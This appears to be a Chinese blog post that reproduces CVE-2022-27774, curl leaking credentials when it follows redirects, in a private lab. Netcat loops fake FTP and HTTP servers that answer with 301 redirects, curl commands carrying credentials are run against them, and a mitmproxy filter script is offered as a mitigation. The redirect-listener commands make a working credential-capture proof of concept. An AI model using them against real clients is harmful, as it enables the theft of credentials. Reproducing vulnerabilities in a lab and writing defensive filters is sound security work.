Curl 重定向时的凭据泄漏(CVE-2022-27774)

漏洞简介

curl 4.9 ~7.82.0 中存在凭据保护不足的漏洞,可能允许攻击者在HTTP(S) 重定向与身份验证一起使用时,可能会将凭据泄漏到存在于不同协议或端口上的其他服务。漏洞的主要发生点就是CURL使用的参数 -L 。 ( --L/--location 当服务器报告被请求的页面已被移动到另一个位置时(通常返回 3XX 错误代码), 允许 curl 使用新的地址重新访问。如果跳转链接指向了一个不同的主机,curl 将不向其发送用户名和密码。 )

例如:server1 使用http重定向功能,将服务重定向到server2上面。用户带着身份验证凭据去访问server1,server1收到请求后重定向时,用户请求中凭据信息也会被发送到server2,造成凭据泄露。

复现环境

centos7

IP:192.168.111.145、Curl:7.29.0

kali

IP:192.168.111.147、Curl:7.79.1

复现过程

由于需要考虑到不同环境下该漏洞的影响,所以重定向的目标主机分为两部分,同一主机的重定向和不同主机的重定向,同时对重定向的协议也进行测试。

同一主机

http-->ftp

  1. 首先在主机9999端口伪造ftp服务,并设置监听。
    while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

image

  1. 接下来加入重定向,在主机9998端口伪造一个http服务器,其功能为重定向到ftp服务器 ,并设置监听。
    while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:ftp://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

image

  1. 使用curl命令访问9998端口则会301跳转到ftp服务器 。指定用户admin,口令是password。
    curl -L --user admin http://192.168.111.145:9998

image

可以看到,重定向的http服务上也有凭据信息(base64编码后的);在ftp上相应的凭据信息直接明文显示 ,会造成凭据泄露。

image

http-->http

  1. 首先在主机9999端口伪造http服务,并设置监听。
    while true; do echo -e "200 ok" | nc -v -l -p 9999; done

image

  1. 接下来加入重定向,在主机9998端口伪造一个http服务器,其功能为重定向到http服务器 ,并设置监听。
     while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:http://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

image

  1. 使用curl命令访问9998端口则会301跳转到9999端口的http服务器 。带上用户凭证信息 joes:secret。
    curl -L http://192.168.111.145:9998 -u joes:secret

image

可以看到,重定向的http服务上也有凭据信息(base64编码后的);在http上也有相应的凭据信息 ,造成凭据信息泄露。
image

不同主机

该部分针对不同主机的重定向功能进行测试。

http-->ftp

  1. 在centos7上开启9999端口伪造ftp服务,并设置监听。
    while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

image

  1. 在kali上开启9998端口伪造一个http服务器,其功能为重定向到ftp服务器 ,并设置监听。
    while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:ftp://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

image

  1. 使用curl命令访问9998端口则会301跳转到ftp服务器 。指定用户admin,口令是password。
    curl -L --user admin http://192.168.111.147:9998

image

可以看到在Centos7的ftp服务上相应的凭据信息直接明文显示 ,造成凭据泄露。
image

http-->http(❌)

  1. 首先在kali主机9999端口伪造http服务,并设置监听。
    while true; do echo -e "200 ok" | nc -v -l -p 9999; done

image

  1. 接下来加入重定向,在centos主机9998端口伪造一个http服务器,其功能为重定向到http服务器 ,并设置监听。
     while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:http://192.168.111.147:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

image

  1. 使用curl命令访问9998端口则会301跳转到9999端口的http服务器 。带上用户凭证信息 joes:secret。
    curl -L http://192.168.111.145:9998 -u joes:secret

image

在kali上查看信息。并未发现对应的凭据信息。按照漏洞报送者所说,http会检查主机名,不过修改主机名也未成功。
image

问题总结

Curl 命令带有身份验证信息在使用重定向时(http和ftp),确实是会将凭证信息泄露到第三方。在同一个主机上,无论是重定向到HTTP还是FTP,都会造成凭据泄露;在不同的主机上,只有在重定向到FTP服务器时才会泄露凭据(多次验证),重定向到HTTP未发现泄露信息。

漏洞发现者认为--location应该限制在相同的协议和端口上,不应该只是判断重定向的主机是否时同一个。并且发送身份验证的凭据的限制只能通过--location-trusted(或可选地通过其他选项)解除。

  • --location-trusted 该参数和 -L 参数类似,也可让 curl 继续访问跳转链接,区别在于该参数允许向跳转链接发送明文用户名和密码。
  • --L/--location 当服务器报告被请求的页面已被移动到另一个位置时(通常返回 3XX 错误代码), 允许 curl 使用新的地址重新访问。如果跳转链接指向了一个不同的主机,curl 将不向其发送用户名和密码。

重定向过程

image

用户发送请求A服务器流量信息

image

用户向重定向地址连接并传输数据

image

缓解措施

mitmproxy

mitmproxy 就是用于 MITM 的 proxy,MITM 即中间人攻击(Man-in-the-middle attack)。用于中间人攻击的代理首先会向正常的代理一样转发请求,保障服务端与 客户端的通信,其次,会适时的查、记录其截获的数据,或篡改数据,引发服务端或 客户端特定的行为。

在 linux 中安装:

sudo pip3 install mitmproxy

遇到的问题:mitmproxy工作在应用层,当用户发送http请求时,和收到重定向的http响应能够完整记录过程,但是CURL在使用-L参数收到重定向的地址,直接TCP连接并发送数据,无法记录重定向地址的TCP过程。那么这样就会遇到一个问题,Curl在使用-L参数和不使用-L参数的过程中发送的HTTP请求和收到的HTTP响应无差别。目前要解决的就是能够记录到向重定向地址发送的TCP连接。

解决方案:

如果第一次请求包含用户凭据,且Header的curl版本在被漏洞影响的版本中,且响应包括重定向到ftp,就拦截这个响应。

kali运行mitmproxy

 mitmproxy --listen-host 127.0.0.1 -p 8080

image

临时配置全局代理

export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080

image

使用curl命令测试

curl  -L --user admin:ASDADA http://192.168.111.147:9998 

Request:
image

Response:
image

mitmproxy使用脚本可以对http请求和响应进行拦截、修改等操作。所以这里就使用脚本进行拦截。

脚本可参考mitmproxy 官方文档:https://docs.mitmproxy.org/stable/

import mitmproxy.http
from mitmproxy import ctx, http

num = 0

def request(flow: mitmproxy.http.HTTPFlow):
    global num
    num = num + 1

    global UA
    UA = flow.request.headers['User-Agent']

    global head
    head = flow.request.headers

    ctx.log.info("We've seen %d flows" % num)


def response(flow: mitmproxy.http.HTTPFlow):
    global location
    location = flow.response.headers['location']
    if "Authorization" in head:
        ctx.log.info("~~~~~~~~Authoriztion exist~~~~~~~~")
        # 如果存在认证信息,打印日志
        if UA == "curl/7.74.0":
            ctx.log.info("~~~~~~~~CURL-7.74.0 exist~~~~~~~~")
            # 如果存在curl信息,打印日志
            if "ftp" in location:
                ctx.log.info("~~~~~~~~FTP exist~~~~~~~~~~~~")
                # 如果重定向存在ftp服务器,打印日志
                flow.response = http.HTTPResponse.make(404)
                # 设置响应状态码为404,(拦截响应)
            else:
                return
        else:
            return
    else:
        return

启动mitmproxy脚本

mitmproxy --listen-host 127.0.0.1 -p 8080 -s filter.py

再次访问测试,已经成功的拦截。

image

测试不加身份认证信息,可以看到并未进行拦截,脚本效果达到所需。

image

最终效果:

image

image

参考:

https://docs.mitmproxy.org/stable/

https://zhuanlan.zhihu.com/p/371209542

posted @ 2022-10-10 16:45  Satoris  阅读(113)  评论(0)    收藏  举报